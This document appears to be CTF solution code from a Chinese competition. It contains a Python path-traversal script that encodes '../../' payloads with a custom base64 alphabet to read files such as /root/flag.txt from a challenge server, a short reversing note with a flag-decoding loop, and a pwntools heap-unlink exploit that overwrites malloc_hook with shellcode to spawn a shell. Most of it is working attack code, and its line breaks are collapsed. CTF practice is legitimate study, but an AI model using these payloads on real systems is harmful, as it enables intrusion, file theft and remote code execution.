```python#coding:utf-8import requests as reqimport base64 as b64import urllib#D4hpAXj= =>7.jpg=<Ny5qcGc=#64个字符A-Z,a-z，0-9，+，/

trans_box = {'+': 'u', '/': 'A', '1': '0','7': 'I', '9': 'k',  'K': '6', 'M': 'Z', 'O': '2', 'Q': '+','A': 'b', '3': 'C', '0': 'Y', '2': 'P', '4': 'y', '6': 'e', '8': 'v', 'B': 'z', 'D': 'N', 'F': 't', 'H': 'x', 'J': 'U', 'L': 'X', 'N': 'F', 'P': 'V', 'R': 'q', 'T': 'a', 'V': 'l', 'X': 'm', 'Z': 'S', 's': 'p', 'u': 's', 'w': 'O', 'y': 'D', 'E': '\\', 'b': '4', 'd': 'B', 'f': 'h', 'h': '5', 'j': 'c', 'l': 'M', 'n': '9', 'p': 'w', 'r': '1', 't': '8', 'v': 'o', 'x': 'i', 'z': 'K','=':'=','5': 'T',  'C': 'J', 'G': '7', 'I': 'f', 'S': 'd', 'U': '3', 'W': 'R', 'Y': 'W', 'a': 'L', 'c': 'r', 'e': 'g', 'g': 'n', 'i': 'E', 'k': 'j', 'm': 'G', 'o': 'H', 'q': 'Q'}print len(trans_box.keys())def get_key (dict, value):return [k for k, v in dict.items() if v == value]def zhuanhuan(b):payload=""for i in range(len(b)):payload = payload + get_key(trans_box,b[i])[0]return payloaddef exp(a):b = b64.b64encode(a)print  bc = zhuanhuan(b)payload = urllib.quote(c)print payloadres = req.get('http://743d9d231a084055b92ea11b480e47c545be52d430074b21.changame.ichunqiu.com/img.php?name={}'.format(payload))print res.urlprint res.contentif __name__ == '__main__':exp('../../../../../../var/www/html/templates/upload.html')#exp('../../../../../../proc/self/cwd/templates/upload.html')#exp('../../../../../../root/flag.txt')

```

控制流平坦化，拿工具跑一下，前几个check验证了flag的格式，最后一个check将输入进行变化和特定的字符串比较。
ABCDEFGHIJ的话就加上48，如果是-就不变化，其他的减去17
s3 = [ 'J', '2', '2', '6', '1', 'C', '6', '3', '-', '3', 'I', '2', 'I', '-', 'E', 'G', 'E', '4', '-', 'I', 'B', 'C', 'C', '-', 'I', 'E', '4', '1', 'A', '5', 'I', '5', 'F', '4', 'H', 'B']
s3 = "".join(s3)
f = ""
for i in range(len(s3)):m = s3[i]q1 = chr(ord(m) - 17）q2 = chr(ord(m) + 48)if m == "-":f += "-"elif m in "ABCDEFGHIJ":f += q1else:f += q2print f

from pwn import *from time import sleepimport base64context.log_level = 'debug'context.arch = 'i386'p = process("./pwn")f = ""n = "\n"def Add(size, con):global fp.sendline("1")p.sendline(str(size))p.sendline(con)f += "1" + n + str(size) + n + con + ndef Del(idx):global fp.sendline("2")p.sendline(str(idx))f += "2" + n + str(idx) + ndef Edit(idx, con):global fp.sendline("3")p.sendline(str(idx))p.sendline(con)f += "3" + n + str(idx) + n + con + nf = ""note_size = 0x80eba00note_ptr  = 0x80eba40sc =  asm(shellcraft.i386.linux.sh())malloc_hook = 0x80ea4d8Add(0x64, "0" * 0x64)Add(0x64, "0" * 0x64)Add(0x64, "0" * 0x64)Add(0x64, "0" * 0x64)Add(0x68, "0" * 0x68)Add(0x64, "0" * 0x64)_id = 3Edit(_id, "0" * 0x65)ptr = note_ptr + 4 * _idfake_fd = ptr - 12fake_bk = ptr - 8fake  = p32(1) + p32(0x61)fake += p32(fake_fd) + p32(fake_bk)fake = fake.ljust(0x60, chr(0x60))fake += p32(0x60)fake += "\x70\x00"bss_end = 0x80ebe0bEdit(_id, fake)# raw_input()
Del(_id + 1)Edit(_id, p32(malloc_hook))Edit(_id, p32(malloc_hook) + p32(bss_end))Edit(0, p32(bss_end))Edit(1, sc)Add(0x64, 'cat flag')print base64.b64encode(f)p.interactive()